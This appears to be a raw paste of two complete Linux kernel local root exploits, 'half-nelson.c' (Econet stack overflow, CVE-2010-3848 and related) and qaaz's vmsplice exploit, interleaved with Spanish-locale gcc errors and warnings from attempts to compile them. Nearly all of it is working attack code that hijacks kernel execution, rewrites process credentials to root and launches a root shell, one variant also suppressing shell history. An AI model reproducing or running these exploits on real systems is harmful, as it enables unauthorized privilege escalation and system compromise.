In file included from /usr/include/features.h:378,
                 from /usr/include/stdio.h:28,
                 from half-nelson.c:65:
/usr/include/gnu/stubs.h:9:27: error: gnu/stubs-64.h: No existe el fichero o el directorio

/*
 * half-nelson.c
 *
 * Linux Kernel < 2.6.36.2 Econet Privilege Escalation Exploit
 * Jon Oberheide <jon@oberheide.org>
 * http://jon.oberheide.org
 *
 * Information:
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3848
 *
 *   Stack-based buffer overflow in the econet_sendmsg function in
 *   net/econet/af_econet.c in the Linux kernel before 2.6.36.2, when an
 *   econet address is configured, allows local users to gain privileges by
 *   providing a large number of iovec structures.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-3850
 *
 *   The ec_dev_ioctl function in net/econet/af_econet.c in the Linux kernel
 *   before 2.6.36.2 does not require the CAP_NET_ADMIN capability, which
 *   allows local users to bypass intended access restrictions and configure
 *   econet addresses via an SIOCSIFADDR ioctl call.
 *
 *   http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4073
 *
 *   The ipc subsystem in the Linux kernel before 2.6.37-rc1 does not
 *   initialize certain structures, which allows local users to obtain
 *   potentially sensitive information from kernel stack memory.
 *
 * Usage:
 *
 *   $ gcc half-nelson.c -o half-nelson -lrt
 *   $ ./half-nelson
 *   [+] looking for symbols...
 *   [+] resolved symbol commit_creds to 0xffffffff81088ad0
 *   [+] resolved symbol prepare_kernel_cred to 0xffffffff81088eb0
 *   [+] resolved symbol ia32_sysret to 0xffffffff81046692
 *   [+] spawning children to achieve adjacent kstacks...
 *   [+] found parent kstack at 0xffff88001c6ca000
 *   [+] found adjacent children kstacks at 0xffff88000d10a000 and 0xffff88000d10c000
 *   [+] lower child spawning a helper...
 *   [+] lower child calling compat_sys_wait4 on helper...
 *   [+] helper going to sleep...
 *   [+] upper child triggering stack overflow...
 *   [+] helper woke up
 *   [+] lower child returned from compat_sys_wait4
 *   [+] parent's restart_block has been clobbered
 *   [+] escalating privileges...
 *   [+] launching root shell!
 *   # id
 *   uid=0(root) gid=0(root)
 *
 * Notes:
 *
 *   This exploit leverages three vulnerabilities to escalate privileges.
 *   The primary vulnerability is a kernel stack overflow, not a stack buffer
 *   overflow as the CVE description incorrectly states. I believe this is the
 *   first public exploit for a kernel stack overflow, and it turns out to be
 *   a bit tricky due to some particulars of the econet vulnerability. A full
 *   breakdown of the exploit is forthcoming.
 *
 *   Tested on Ubuntu 10.04 LTS (2.6.32-21-generic).
 */
 
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stddef.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <limits.h>
#include <syscall.h>
#include <inttypes.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/resource.h>
#include <sys/syscall.h>
#include <netinet/in.h>
#include <net/if.h>
 
#define IOVS           446
#define NPROC          1024
#define KSTACK_SIZE    8192
 
#define KSTACK_UNINIT  0
#define KSTACK_UPPER   1
#define KSTACK_LOWER   2
#define KSTACK_DIE     3
#define KSTACK_PARENT  4
#define KSTACK_CLOBBER 5
 
#define LEAK_BASE      0xffff880000000000
#define LEAK_TOP       0xffff8800c0000000
#define LEAK_DEPTH     500
#define LEAK_OFFSET    32
 
#define NR_IPC         0x75
#define NR_WAIT4       0x72
#define SEMCTL         0x3
 
#ifndef PF_ECONET
#define PF_ECONET      19
#endif
 
#define STACK_OFFSET   6
#define RESTART_OFFSET 40
 
struct ec_addr {
    unsigned char station;
    unsigned char net;
};
 
struct sockaddr_ec {
    unsigned short sec_family;
    unsigned char port;
    unsigned char cb;
    unsigned char type;
    struct ec_addr addr;
    unsigned long cookie;
};
 
struct ipc64_perm {
    uint32_t key;
    uint32_t uid;
    uint32_t gid;
    uint32_t cuid;
    uint32_t cgid;
    uint32_t mode;
    uint16_t seq;
    uint16_t __pad2;
    unsigned long __unused1;
    unsigned long __unused2;
};
 
struct semid64_ds {
    struct ipc64_perm sem_perm;
    unsigned long sem_otime;
    unsigned long __unused1;
    unsigned long sem_ctime;
    unsigned long __unused;
    unsigned long sem_nsems;
    unsigned long __unused3;
    unsigned long __unused4;
};
 
union semun {
    int val;
    struct semid_ds *buf;
    unsigned short *array;
    struct seminfo *__buf;
};
 
struct region {
    unsigned long parent;
    unsigned long addrs[NPROC];
};
struct region *region;
 
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
unsigned long ia32_sysret;
  
void __attribute__((regparm(3)))
kernel_code(void)
{
    commit_creds(prepare_kernel_cred(0));
}
 
void
payload_parent(void)
{
    asm volatile (
        "mov $kernel_code, %rax\n"
        "call *%rax\n"
    );
}
 
void
payload_child(void)
{
    asm volatile (
        "movq $payload_parent, (%0)\n"
        "jmpq *%1\n"
        :
        : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
    );
}
 
unsigned long
get_kstack(void)
{
    int i, size, offset;
    union semun *arg;
    struct semid_ds dummy;
    struct semid64_ds *leaked;
    char *stack_start, *stack_end;
    unsigned char *p;
    unsigned long kstack, *ptr;
 
    /* make sure our argument is 32-bit accessible */
    arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (arg == MAP_FAILED) {
        printf("[-] failure mapping memory, aborting!\n");
        exit(1);
    }
 
    /* map a fake stack to use during syscall */
    stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE | MAP_32BIT, -1, 0);
    if (stack_start == MAP_FAILED) {
        printf("[-] failure mapping memory, aborting!\n");
        exit(1);
    }
    stack_end = stack_start + 4096;
 
    memset(arg, 0, sizeof(union semun));
    memset(&dummy, 0, sizeof(struct semid_ds));
    arg->buf = &dummy;
 
    /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
    asm volatile (
        "push %%rax\n"
        "push %%rbx\n"
        "push %%rcx\n"
        "push %%rdx\n"
        "push %%rsi\n"
        "push %%rdi\n"
        "movl %0, %%eax\n"
        "movl %1, %%ebx\n"
        "movl %2, %%ecx\n"
        "movl %3, %%edx\n"
        "movl %4, %%esi\n"
        "movq %5, %%rdi\n"
        "movq %%rsp, %%r8\n"
        "movq %6, %%rsp\n"
        "push %%r8\n"
        "int $0x80\n"
        "pop %%r8\n"
        "movq %%r8, %%rsp\n"
        "pop %%rdi\n"
        "pop %%rsi\n"
        "pop %%rdx\n"
        "pop %%rcx\n"
        "pop %%rbx\n"
        "pop %%rax\n"
        :
        : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg), "r"(stack_end)
        : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
    );
 
    /* naively extract a pointer to the kstack from the kstack */
    p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) + LEAK_OFFSET;
    kstack = *(unsigned long *) p;
 
    if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
        printf("[-] failed to leak a suitable kstack address, try again!\n");
        exit(1);
    }
    if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
        printf("[-] failed to leak a suitable kstack address, try again!\n");
        exit(1);
    }
 
    kstack = kstack & ~0x1fff;
     
    return kstack;
}
 
unsigned long
get_symbol(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy, sym[512];
    int ret = 0;
  
    f = fopen("/proc/kallsyms", "r");
    if (!f) {
        return 0;
    }
  
    while (ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
        if (ret == 0) {
            fscanf(f, "%s\n", sym);
            continue;
        }
        if (!strcmp(name, sym)) {
            printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
            fclose(f);
            return addr;
        }
    }
    fclose(f);
  
    return 0;
}
 
int
get_adjacent_kstacks(void)
{
    int i, ret, shm, pid, type;
 
    /* create shared communication channel between parent and its children */
    shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG | S_IRWXO);
    if (shm < 0) {
        printf("[-] failed creating shared memory, aborting!\n");
        exit(1);
    }
 
    ret = ftruncate(shm, sizeof(struct region));
    if (ret != 0) {
        printf("[-] failed resizing shared memory, aborting!\n");
        exit(1);
    }
 
    region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE, MAP_SHARED, shm, 0);
    memset(region, KSTACK_UNINIT, sizeof(struct region));
 
    /* parent kstack self-discovery */
    region->parent = get_kstack();
 
    printf("[+] found parent kstack at 0x%lx\n", region->parent);
 
    /* fork and discover children with adjacently-allocated kernel stacks */
    for (i = 0; i < NPROC; ++i) {
        pid = fork();
 
        if (pid > 0) {
            type = KSTACK_PARENT;
            continue;
        } else if (pid == 0) {
            /* children do kstack self-discovery */
            region->addrs[i] = get_kstack();
 
            /* children sleep until parent has found adjacent children */
            while (1) {
                sleep(1);
                if (region->addrs[i] == KSTACK_DIE) {
                    /* parent doesn't need us :-( */
                    exit(0);
                } else if (region->addrs[i] == KSTACK_UPPER) {
                    /* we're the upper adjacent process */
                    type = KSTACK_UPPER;
                    break;
                } else if (region->addrs[i] == KSTACK_LOWER) {
                    /* we're the lower adjacent process */
                    type = KSTACK_LOWER;
                    break;
                }
            }
            break;
        } else {
            printf("[-] fork failed, aborting!\n");
            exit(1);
        }
    }
 
    return type;
}
 
void
do_parent(void)
{
    int i, j, upper, lower;
 
    /* parent sleeps until we've discovered all the child kstacks */
    while (1) {
        sleep(1);
        for (i = 0; i < NPROC; ++i) {
            if (region->addrs[i] == KSTACK_UNINIT) {
                break;
            }
        }
        if (i == NPROC) {
            break;
        }
    }
 
    /* figure out if we have any adjacent child kstacks */
    for (i = 0; i < NPROC; ++i) {
        for (j = 0; j < NPROC; ++j) {
            if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
                break;
            }
        }
        if (j != NPROC) {
            break;
        }
    }
    if (i == NPROC && j == NPROC) {
        printf("[-] failed to find adjacent kstacks, try again!\n");
        exit(1);
    }
 
    upper = i;
    lower = j;
 
    printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n", region->addrs[lower], region->addrs[upper]);
 
    /* signal to non-adjacent children to die */
    for (i = 0; i < NPROC; ++i) {
        if (i != upper && i != lower) {
            region->addrs[i] = KSTACK_DIE;
        }
    }
 
    /* signal adjacent children to continue on */
    region->addrs[upper] = KSTACK_UPPER;
    region->addrs[lower] = KSTACK_LOWER;
 
    /* parent sleeps until child has clobbered the fptr */
    while (1) {
        sleep(1);
        if (region->parent == KSTACK_CLOBBER) {
            break;
        }
    }
 
    printf("[+] escalating privileges...\n");
 
    /* trigger our clobbered fptr */
    syscall(__NR_restart_syscall);
 
    /* our privileges should be escalated now */
    if (getuid() != 0) {
        printf("[-] privilege escalation failed, aborting!\n");
        exit(1);
    }
 
    printf("[+] launching root shell!\n");
 
    execl("/bin/sh", "/bin/sh", NULL);
}
 
void
do_child_upper(void)
{
    int i, ret, eco_sock;
    struct sockaddr_ec eco_addr;
    struct msghdr eco_msg;
    struct iovec iovs[IOVS];
    struct ifreq ifr;
    char *target;
 
    /* calculate payload target, skip prologue */
    target = (char *) payload_child;
    target += 4;
     
    /* give lower child a chance to enter its wait4 call */
    sleep(1);
 
    /* write some zeros */
    for (i = 0; i < STACK_OFFSET; ++i) {
        iovs[i].iov_base = (void *) 0x0;
        iovs[i].iov_len = 0;
    }
 
    /* overwrite saved ia32_sysret address on stack */
    iovs[STACK_OFFSET].iov_base = (void *) target;
    iovs[STACK_OFFSET].iov_len = 0x0246;
 
    /* force abort via EFAULT */
    for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
        iovs[i].iov_base = (void *) 0xffffffff00000000;
        iovs[i].iov_len = 0;
    }
 
    /* create econet socket */
    eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
    if (eco_sock < 0) {
        printf("[-] failed creating econet socket, aborting!\n");
        exit(1);
    }
 
    memset(&ifr, 0, sizeof(ifr));
    strcpy(ifr.ifr_name, "lo");
 
    /* trick econet into associated with the loopback */
    ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
    if (ret != 0) {
        printf("[-] failed setting interface address, aborting!\n");
        exit(1);
    }
 
    memset(&eco_addr, 0, sizeof(eco_addr));
    memset(&eco_msg, 0, sizeof(eco_msg));
    eco_msg.msg_name = &eco_addr;
    eco_msg.msg_namelen = sizeof(eco_addr);
    eco_msg.msg_flags = 0;
    eco_msg.msg_iov = &iovs[0];
    eco_msg.msg_iovlen = IOVS;
 
    printf("[+] upper child triggering stack overflow...\n");
 
    /* trigger the kstack overflow into lower child's kstack */
    ret = sendmsg(eco_sock, &eco_msg, 0);
    if (ret != -1 || errno != EFAULT) {
        printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
        exit(1);
    }
 
    close(eco_sock);
}
 
void
do_child_lower(void)
{
    int pid;
 
    printf("[+] lower child spawning a helper...\n");
 
    /* fork off a helper to wait4 on */
    pid = fork();
    if (pid == 0) {
        printf("[+] helper going to sleep...\n");
        sleep(5);
        printf("[+] helper woke up\n");
        exit(1);
    }
 
    printf("[+] lower child calling compat_sys_wait4 on helper...\n");
 
    /* syscall(NR_WAIT4, pid, 0, 0, 0) */
    asm volatile (
        "push %%rax\n"
        "push %%rbx\n"
        "push %%rcx\n"
        "push %%rdx\n"
        "push %%rsi\n"
        "movl %0, %%eax\n"
        "movl %1, %%ebx\n"
        "movl %2, %%ecx\n"
        "movl %3, %%edx\n"
        "movl %4, %%esi\n"
        "int $0x80\n"
        "pop %%rsi\n"
        "pop %%rdx\n"
        "pop %%rcx\n"
        "pop %%rbx\n"
        "pop %%rax\n"
        :
        : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
        : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
    );
 
    printf("[+] lower child returned from compat_sys_wait4\n");
 
    printf("[+] parent's restart_block has been clobbered\n");
 
    /* signal parent that our fptr should now be clobbered */
    region->parent = KSTACK_CLOBBER;
}
 
int
main(int argc, char **argv)
{
    int type;
 
    if (sizeof(unsigned long) != 8) {
        printf("[-] x86_64 only, sorry!\n");
        exit(1);
    }
 
    printf("[+] looking for symbols...\n");
  
    commit_creds = (_commit_creds) get_symbol("commit_creds");
    if (!commit_creds) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }
  
    prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
    if (!prepare_kernel_cred) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }
 
    ia32_sysret = get_symbol("ia32_sysret");
    if (!ia32_sysret) {
        printf("[-] symbol table not available, aborting!\n");
        exit(1);
    }
 
    printf("[+] spawning children to achieve adjacent kstacks...\n");
 
    type = get_adjacent_kstacks();
 
    if (type == KSTACK_PARENT) {
        do_parent();
    } else if (type == KSTACK_UPPER) {
        do_child_upper();
    } else if (type == KSTACK_LOWER) {
        do_child_lower();
    }
 
    return 0;
}

vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’

/*
 * jessica_biel_naked_in_my_bed.c
 *
 * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura.
 * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca.
 * Stejnak je to stare jak cyp a aj jakesyk rozbite.
 *
 * Linux vmsplice Local Root Exploit
 * By qaaz
 *
 * Linux 2.6.17 - 2.6.24.1
 *
 * This is quite old code and I had to rewrite it to even compile.
 * It should work well, but I don't remeber original intent of all
 * the code, so I'm not 100% sure about it. You've been warned ;)
 *
 * -static -Wno-format 
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <malloc.h>
#include <limits.h>
#include <signal.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/mman.h>
#include <asm/page.h>
#define __KERNEL__
#include <asm/unistd.h>
 
#define PIPE_BUFFERS    16
#define PG_compound 14
#define uint        unsigned int
#define static_inline   static inline __attribute__((always_inline))
#define STACK(x)    (x + sizeof(x) - 40)
 
struct page {
    unsigned long flags;
    int count;
    int mapcount;
    unsigned long private;
    void *mapping;
    unsigned long index;
    struct { long next, prev; } lru;
};
 
void    exit_code();
char    exit_stack[1024 * 1024];
 
void    die(char *msg, int err)
{
    printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err));
    fflush(stdout);
    fflush(stderr);
    exit(1);
}
 
#if defined (__i386__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   316
#endif
 
#define USER_CS     0x73
#define USER_SS     0x7b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "movl %0, 0x10(%%esp) ;"
    "movl %1, 0x0c(%%esp) ;"
    "movl %2, 0x08(%%esp) ;"
    "movl %3, 0x04(%%esp) ;"
    "movl %4, 0x00(%%esp) ;"
    "iret"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movl %%esp, %%eax ;"
    "andl %1, %%eax ;"
    "movl (%%eax), %0"
    : "=r" (curr)
    : "i" (~8191)
    );
    return (void *) curr;
}
 
#elif defined (__x86_64__)
 
#ifndef __NR_vmsplice
#define __NR_vmsplice   278
#endif
 
#define USER_CS     0x23
#define USER_SS     0x2b
#define USER_FL     0x246
 
static_inline
void    exit_kernel()
{
    __asm__ __volatile__ (
    "swapgs ;"
    "movq %0, 0x20(%%rsp) ;"
    "movq %1, 0x18(%%rsp) ;"
    "movq %2, 0x10(%%rsp) ;"
    "movq %3, 0x08(%%rsp) ;"
    "movq %4, 0x00(%%rsp) ;"
    "iretq"
    : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
        "i" (USER_CS), "r" (exit_code)
    );
}
 
static_inline
void *  get_current()
{
    unsigned long curr;
    __asm__ __volatile__ (
    "movq %%gs:(0), %0"
    : "=r" (curr)
    );
    return (void *) curr;
}
 
#else
#error "unsupported arch"
#endif
 
#if defined (_syscall4)
#define __NR__vmsplice  __NR_vmsplice
_syscall4(
    long, _vmsplice,
    int, fd,
    struct iovec *, iov,
    unsigned long, nr_segs,
    unsigned int, flags)
 
#else
#define _vmsplice(fd,io,nr,fl)  syscall(__NR_vmsplice, (fd), (io), (nr), (fl))
#endif
 
static uint uid, gid;
 
void    kernel_code()
{
    int i;
    uint    *p = get_current();
 
    for (i = 0; i < 1024-13; i++) {
        if (p[0] == uid && p[1] == uid &&
            p[2] == uid && p[3] == uid &&
            p[4] == gid && p[5] == gid &&
            p[6] == gid && p[7] == gid) {
            p[0] = p[1] = p[2] = p[3] = 0;
            p[4] = p[5] = p[6] = p[7] = 0;
            p = (uint *) ((char *)(p + 8) + sizeof(void *));
            p[0] = p[1] = p[2] = ~0;
            break;
        }
        p++;
    }  
 
    exit_kernel();
}
 
void    exit_code()
{
    if (getuid() != 0)
        die("wtf", 0);
 
    printf("[+] root\n");
    putenv("HISTFILE=/dev/null");
    execl("/bin/bash", "bash", "-i", NULL);
    die("/bin/bash", errno);
}
 
int main(int argc, char *argv[])
{
    int     pi[2];
    size_t      map_size;
    char *      map_addr;
    struct iovec    iov;
    struct page *   pages[5];
 
    uid = getuid();
    gid = getgid();
    setresuid(uid, uid, uid);
    setresgid(gid, gid, gid);
 
    printf("-----------------------------------\n");
    printf(" Linux vmsplice Local Root Exploit\n");
    printf(" By qaaz\n");
    printf("-----------------------------------\n");
 
    if (!uid || !gid)
        die("!@#$", 0);
 
    /*****/
    pages[0] = *(void **) &(int[2]){0,PAGE_SIZE};
    pages[1] = pages[0] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[0]);
    printf("[+] page: 0x%lx\n", pages[1]);
 
    pages[0]->flags    = 1 << PG_compound;
    pages[0]->private  = (unsigned long) pages[0];
    pages[0]->count    = 1;
    pages[1]->lru.next = (long) kernel_code;
 
    /*****/
    pages[2] = *(void **) pages[0];
    pages[3] = pages[2] + 1;
 
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[2]);
    printf("[+] page: 0x%lx\n", pages[3]);
 
    pages[2]->flags    = 1 << PG_compound;
    pages[2]->private  = (unsigned long) pages[2];
    pages[2]->count    = 1;
    pages[3]->lru.next = (long) kernel_code;
 
    /*****/
    pages[4] = *(void **) &(int[2]){PAGE_SIZE,0};
    map_size = PAGE_SIZE;
    map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE,
                    MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
    printf("[+] page: 0x%lx\n", pages[4]);
 
    /*****/
    map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE;
    map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (map_addr == MAP_FAILED)
        die("mmap", errno);
 
    memset(map_addr, 0, map_size);
    printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size);
 
    /*****/
    map_size -= 2 * PAGE_SIZE;
    if (munmap(map_addr + map_size, PAGE_SIZE) < 0)
        die("munmap", errno);
 
    /*****/
    if (pipe(pi) < 0) die("pipe", errno);
    close(pi[0]);
 
    iov.iov_base = map_addr;
    iov.iov_len  = ULONG_MAX;
 
    signal(SIGPIPE, exit_code);
    _vmsplice(pi[1], &iov, 1, 0);
    die("vmsplice", errno);
    return 0;
}

vmsplice.c:12:22: error: asm/page.h: No existe el fichero o el directorio
vmsplice.c: In function ‘main’:
vmsplice.c:193: error: ‘PAGE_SIZE’ undeclared (first use in this function)
vmsplice.c:193: error: (Each undeclared identifier is reported only once
vmsplice.c:193: error: for each function it appears in.)
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:203: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:204: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:205: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:223: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:224: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:225: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:240: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’
vmsplice.c:241: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘struct page *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 2 has type ‘char *’
vmsplice.c:251: warning: format ‘%lx’ expects type ‘long unsigned int’, but argument 3 has type ‘char *’